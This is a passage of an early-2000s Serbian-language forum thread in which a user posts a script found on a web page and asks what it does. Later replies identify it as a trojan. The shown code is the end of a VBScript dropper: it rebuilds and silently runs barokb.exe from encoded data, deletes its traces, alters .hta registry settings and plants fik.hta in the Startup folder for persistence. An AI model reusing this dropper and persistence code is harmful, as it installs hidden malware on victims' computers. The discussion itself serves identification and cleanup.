""00000000000000008BV2<U0200000000000000000000000000P0NV0202V208lV2"" & vbNewline & ""0000@00:2V200000T0HV020000009ZV20000@00j2V200000003080000000E;5BE>5<"" & vbNewline & ""0cb^E4<<D014EF1@19cbD^TABE1C15@9c@b^T5\0EC855<<c@b^T5\0EEC51Bcb"" & vbNewline & ""D^TAGEC?31;cbD^T10D0<_EQT<EYRbEQbi1100E7UdE@b_ES1TETbU5cc0D05h"" & vbNewline & ""EYd@Eb_SEUcc0000EBUWE?`UE^;U5i10@00BEQc5E^e]E5^dEbYU5c10@00CEXUE5h"" & vbNewline & ""EUSeEdU10000ECUdEDY]5Ub000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""000000000000000000000000000000000000000000000000000000~"" & vbNewline & ""<end>"" & vbNewline" & Chr(13) & Chr(10) & "serverGOD.close" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c debug < 2ascii.bin > nul"",0,True" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c move /y barokb.exe %windir%barokb.exe"",0,True" & Chr(13) & Chr(10) & "strDir = WSHShell.ExpandEnvironmentStrings(""%windir%"")" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c start %windir%barokb.exe"",0,False" & Chr(13) & Chr(10) & "fso.DeleteFile ""2ascii.bin"", True" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileNeverShowExt"",""""" & Chr(13) & Chr(10) & "WSHShell.RegWrite ""HKEY_CLASSES_ROOThtafileDefaultIcon"",""SHELL32.DLL,36""" & Chr(13) & Chr(10) & "AllDir = WSHShell.RegRead(""HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionexplorerShell FoldersCommon Startup"")" & Chr(13) & Chr(10) & "set a = fso.GetFolder(AllDir)" & Chr(13) & Chr(10) & "kidarcade = UCase(a.ShortPath & ""fik.hta"")" & Chr(13) & Chr(10) & "set Wininit=fso.CreateTextFile(""""& strDir &""Wininit.ini"")" & Chr(13) & Chr(10) & "Wininit.WriteLine(""[rename]"" & vbNewline & ""NUL="" & kidarcade)" & Chr(13) & Chr(10) & "regSru = Chr(34) & strDir & ""barokb.exe"" & Chr(34)" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "" & Chr(13) & Chr(10) & "WSHShell.Run ""%comspec% /c pause"",0,True" & Chr(13) & Chr(10) & "<" & Chr(47) & "SCRIPT><BODY onload=""javascript: window.close()""><" & Chr(47) & "BODY>"
</SCRIPT></BODY>
 
Odgovor na temu

bashke

Član broj: 258
Poruke: 133
*.ilsa.europeonline.net



Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!12.07.2001. u 21:16 - pre 277 meseci
Alo momak to sto si ovde ispisao nije VB code nego neki script [nisam siguran ali mislim da je java......]
We Are The Best Fuck The Rest
 
Odgovor na temu

Dragoslav Krunić

Član broj: 225
Poruke: 1083
*.tehnicom.net



Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!12.07.2001. u 21:52 - pre 277 meseci
Alo momak, to nije java To je neki zbudz, milj, sprch, zbunj, sjeb i boga pitaj sta...
 
Odgovor na temu

Rodd
Rodoljub Petrović
web developer, Extreme
Beograd

Član broj: 242
Poruke: 358
*.041net.co.yu

ICQ: 114756071
Sajt: www.rodpetrovic.com


Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!13.07.2001. u 01:04 - pre 277 meseci
Bacio sam pogled ali me je zabolela glava na pola...
Ono sto sam provalio je da je prvi deo koda JavaScript koji vrsi neke provere na klijentu.
Drugi deo koda je VBScript koji bi trebalo da pravi neki fajl (2ascii.bin) i u njega smesti sav ovaj shit koji nikako ne bih mogao da protumacim.
E, sad, jedino me buni sledeca stvar: On u ovom VBScript kodu poziva File System Object da bi napravio taj fajl, sto znam da je OK kada skripta radi na serveru ali ovo je prvi put da vidim da neko pokusava da koristi FSO na klijentu, sto je, koliko ja kapiram, nemoguce. Da li mu je uspelo, nemam pojma, ali da proveravam necu jer nemam pojma sta radi ovaj 2ascii.bin fajl... a i smara me
 
Odgovor na temu

Rodd
Rodoljub Petrović
web developer, Extreme
Beograd

Član broj: 242
Poruke: 358
*.041net.co.yu

ICQ: 114756071
Sajt: www.rodpetrovic.com


Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!13.07.2001. u 01:15 - pre 277 meseci
...pogledao sam jos malo. Cenim da ovo nije ceo kod.
Ali, ako imate neka pitanja, pa pitajte samog autora ovog skripta - [email protected] - to sam iscupao iz koda.
 
Odgovor na temu

Ni ten ichi ryu

Član broj: 4489
Poruke: 2043
*.ipt.aol.com



+1 Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!13.07.2001. u 07:47 - pre 277 meseci
joj, Arminio.Grgic
Hehehehhehehehehehehhe....
Mislim da je to za vision practice- ko procita celog dobija kviska:)
FBzP
 
Odgovor na temu

Not now, John!

Član broj: 231
Poruke: 1318
*.dialup.blic.net



+4 Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!15.07.2001. u 23:05 - pre 277 meseci
Nisam čitao kod, ali sam zapazio u njemu naziv fajla sa nastavkom .hta. Neki trojanac (Hybris.Worm čini mi se) na ovaj način kreira u StartUp folderu fajl sa nastavkom .hta, koji se aktivira pri sljedećem paljenju računara.
"I'd take the awe of understanding over the awe of ignorance any day."
- Douglas Adams
 
Odgovor na temu

tjelka
zvonko staklic
Hollywood

Član broj: 7185
Poruke: 109
*.net4u.hr

Sajt: www.modul-c.com


Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!23.03.2004. u 22:25 - pre 244 meseci
Trojanac, Mcafee kaže. Valjda se lako čisti, na posao! Probati ću u startup folderu
Hvala najljepša!
 
Odgovor na temu

tjelka
zvonko staklic
Hollywood

Član broj: 7185
Poruke: 109
*.net4u.hr

Sajt: www.modul-c.com


Profil

icon Re: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!23.03.2004. u 22:28 - pre 244 meseci
Ime mu je VBS/RunScript.gen1 i VBS/RunScript.gen2 , a mislim da si ga stavio namjerno, ali o tom potom. Mislit i sra... je jedno te isto!
Hvala najljepša!
 
Odgovor na temu

[es] :: Visual Basic 6 :: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!

[ Pregleda: 3377 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.